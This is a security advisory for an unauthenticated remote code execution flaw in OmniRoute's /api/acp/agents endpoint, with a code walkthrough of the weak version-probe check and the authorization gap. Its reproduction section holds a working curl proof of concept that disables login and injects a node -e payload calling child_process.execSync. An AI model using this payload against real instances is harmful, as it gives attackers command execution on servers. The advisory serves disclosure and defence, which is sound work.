GHSA-hf57-cqmx-p4gr: Code Injection
2. Summary
POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled binary and versionCommand values. After saving the custom agent, the same request calls refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:
ts execFileSync(probe.command, probe.args, ...)
The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the first token of versionCommand matches the request-provided binary. Because binary is also attacker-controlled, an attacker can submit:
json { "binary": "node", "versionCommand": "node -e \"...arbitrary JavaScript...\"" }
This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via childprocess.execSync().
When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the same time, /api/acp/ is not included in LOCALONLYAPIPREFIXES or SPAWNCAPABLEPREFIXES, so the endpoint is not blocked by the LOCALONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request.
3. Preconditions
The unauthenticated exploit is reachable in either of the following scenarios:
1. The target instance has requireLogin=false. This is the primary scenario covered by this report and by the reproduction steps below. 2. A fresh instance has no management password configured yet. During this bootstrap window, /api/settings/require-login allows unauthenticated setup writes, so an attacker can first set requireLogin=false and then call the vulnerable endpoint.
If the instance is in the default requireLogin=true state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here.
4. Technical Analysis
4.1 The Endpoint Accepts User-Controlled Command Fields
src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary, versionCommand, and spawnArgs:
ts const customAgentBodySchema = z.object({ action: z.string().optional(), id: z.string().optional(), name: z.string().optional(), binary: z.string().optional(), versionCommand: z.string().optional(), providerAlias: z.string().optional(), spawnArgs: z.array(z.string()).optional(), protocol: z.enum(["stdio", "http"]).optional(), });
The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():
ts export async function POST(request: Request) { if (!(await isAuthenticated(request))) { return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); }
The handler then stores binary and versionCommand in the custom agent definition without an executable allowlist:
ts const newAgent: CustomAgentDef = { id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"), name, binary, versionCommand, providerAlias: providerAlias || id, spawnArgs: spawnArgs || [], protocol: protocol || "stdio", };
This logic is in src/app/api/acp/agents/route.ts:92-100.
4.2 The Only Guard Is a Self-Consistency Check
The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:
ts if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) { return NextResponse.json( { error: "Invalid versionCommand: use the configured binary with plain arguments only" }, { status: 400 } ); }
The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:
ts export function resolveVersionProbe( binary: string, versionCommand: string, requireBinaryMatch = false ): { command: string; args: string[] } | null { const tokens = tokenizeVersionCommand(versionCommand); if (!tokens) { return null; }
const [command, ...args] = tokens; if (!command) { return null; }
if (requireBinaryMatch) { const normalizedCommand = normalizeCommandToken(command); const allowed = new Set([ normalizeCommandToken(binary), normalizeCommandToken(path.basename(binary)), ]); if (!allowed.has(normalizedCommand)) { return null; } }
return { command, args }; }
This check only requires the first token of versionCommand to equal binary or path.basename(binary). Since binary is also attacker-controlled, binary="node" and versionCommand="node -e \"...\"" pass validation.
tokenizeVersionCommand() only blocks a small set of shell metacharacters (src/lib/acp/registry.ts:183-254):
ts const DISALLOWEDVERSIONCOMMANDCHARS = /[;&|<>$\r\n]/;
This does not prevent node -e code execution, because characters needed for the payload, such as (, ), ', ., /, ,, and spaces, are allowed.
4.3 The Same Request Immediately Triggers Command Execution
After saving the custom agent, the route calls refreshAgentCache() at src/app/api/acp/agents/route.ts:121-127:
ts const updated = [...current, newAgent]; await updateSettings({ customAgents: updated }); setCustomAgents(updated);
const agents = refreshAgentCache(); return NextResponse.json({ agents, added: newAgent });
refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:
ts export function refreshAgentCache(): CliAgentInfo[] { cachedAgents = null; return detectInstalledAgents(); }
detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one (src/lib/acp/registry.ts:342-360):
ts const allDefs = [ ...AGENTDEFINITIONS.map((d) => ({ ...d, custom: false })), ...customAgentDefs.map((d) => ({ ...d, custom: true })), ];
cachedAgents = allDefs.map((def) => { const { custom, ...rest } = def; return detectAgent(rest, custom); });
The command execution sink is at src/lib/acp/registry.ts:307-325:
ts const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom); if (!probe) { return { ...def, version, installed, isCustom }; }
const output = execFileSync(probe.command, probe.args, { timeout: 5000, encoding: "utf-8", stdio: ["pipe", "pipe", "pipe"], ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}), }).trim();
On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms (src/lib/acp/registry.ts:290-301):
ts export function shouldUseShellForVersionProbe( command: string, platform = process.platform ): boolean { if (platform !== "win32") return false; ... }
Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell metacharacters are required.
4.4 Why This Is Unauthenticated
isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:
ts export async function isAuthenticated(request: Request): Promise<boolean> { if (!(await isAuthRequired(request))) { return true; } ... }
isAuthRequired() returns false when requireLogin=false (src/shared/utils/apiAuth.ts:317-323):
ts const settings = await getSettings(); if (settings.requireLogin === false) return false;
The centralized management policy also has the same anonymous allow branch at src/server/authz/policies/management.ts:223-226:
ts if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) { return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" }); }
Routes that can start local subprocesses should be blocked by the LOCALONLY policy first. src/server/authz/routeGuard.ts:29-45 lists LOCALONLY prefixes such as /api/mcp/, /api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but it does not include /api/acp/:
ts export const LOCALONLYAPIPREFIXES: ReadonlyArray<string> = [ "/api/mcp/", "/api/cli-tools/runtime/", "/api/services/", "/dashboard/providers/services/", "/api/copilot/", "/api/tools/agent-bridge/", "/api/tools/traffic-inspector/", "/api/plugins/", "/api/plugins", "/api/system/version", "/api/db-backups/exportAll", "/api/local/", "/api/headroom/start", "/api/headroom/stop", "/api/oauth/cursor/auto-import", ];
SPAWNCAPABLEPREFIXES also omits /api/acp/ (src/shared/constants/spawnCapablePrefixes.ts:26-35).
This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead of being rejected by the LOCALONLY gate.
5. Reproduction Environment
The issue can be reproduced in a local Docker environment:
- OmniRoute image: diegosouzapw/omniroute:latest - Exposed port: 20128 - Container data directory: /app/data - PoC behavior: runs only read-only commands (id and uname -a) and writes their output to /app/data/UNAUTHRCEPROOF.txt
6. Reproduction Steps
6.1 Start a Test Instance
bash JWT=$(openssl rand -base64 48) AKS=$(openssl rand -hex 32)
docker network create omniroute-poc-net docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine docker run -d --name omniroute-poc --network omniroute-poc-net \ -p 20128:20128 -p 20129:20129 \ -e JWTSECRET="$JWT" \ -e APIKEYSECRET="$AKS" \ -e REDISURL="redis://omniroute-poc-redis:6379" \ diegosouzapw/omniroute:latest
Wait for startup:
bash until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \ curl -sf http://localhost:20128/ >/dev/null 2>&1; do sleep 2 done
6.2 Put the Instance in the Login-Disabled State
This step models a self-hosted instance where dashboard login has been disabled:
bash curl -s -X POST "http://localhost:20128/api/settings/require-login" \ -H "content-type: application/json" \ -d '{"requireLogin":false}'
If the target is already in requireLogin=false, this step is not needed.
6.3 Trigger RCE Anonymously
The following request sends no cookie and no Bearer token:
bash curl -s -X POST "http://localhost:20128/api/acp/agents" \ -H "content-type: application/json" \ -d '{ "id":"anonrce", "name":"anonrce", "binary":"node", "protocol":"stdio", "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTHRCEPROOF.txt'\'',require('\''childprocess'\'').execSync('\''id'\'').toString()+require('\''childprocess'\'').execSync('\''uname -a'\'').toString())\"" }'
6.4 Verify Command Execution
bash docker exec omniroute-poc cat /app/data/UNAUTHRCEPROOF.txt
Expected output is similar to:
text uid=1000(node) gid=1000(node) groups=1000(node) Linux <container-id> <kernel-version> ... <arch> GNU/Linux
This proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute container.
<img width="2123" height="1195" alt="image" src="https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f" />
Affected Software
Event History
Frequently Asked Questions
Who can exploit this issue?
A remote anonymous attacker can exploit it when requireLogin=false. In that configuration, anonymous requests are treated as authenticated, and /api/acp/agents is not blocked by the LOCAL_ONLY policy.
What does an attacker need to send to trigger code execution?
The attacker needs to submit a custom ACP agent registration with attacker-controlled binary and versionCommand values. The first token of versionCommand only needs to match the supplied binary, allowing values such as node paired with a Node.js -e command.
What is the impact of successful exploitation?
The version-detection process executes the supplied command inside the OmniRoute server container. Arbitrary Node.js code can then run OS commands through child_process.execSync().
How can I tell whether my deployment is exposed?
Check whether requireLogin is set to false and whether the /api/acp/agents endpoint is remotely reachable. Also review custom ACP agent registration requests for unexpected binary values or versionCommand arguments, especially Node.js -e expressions.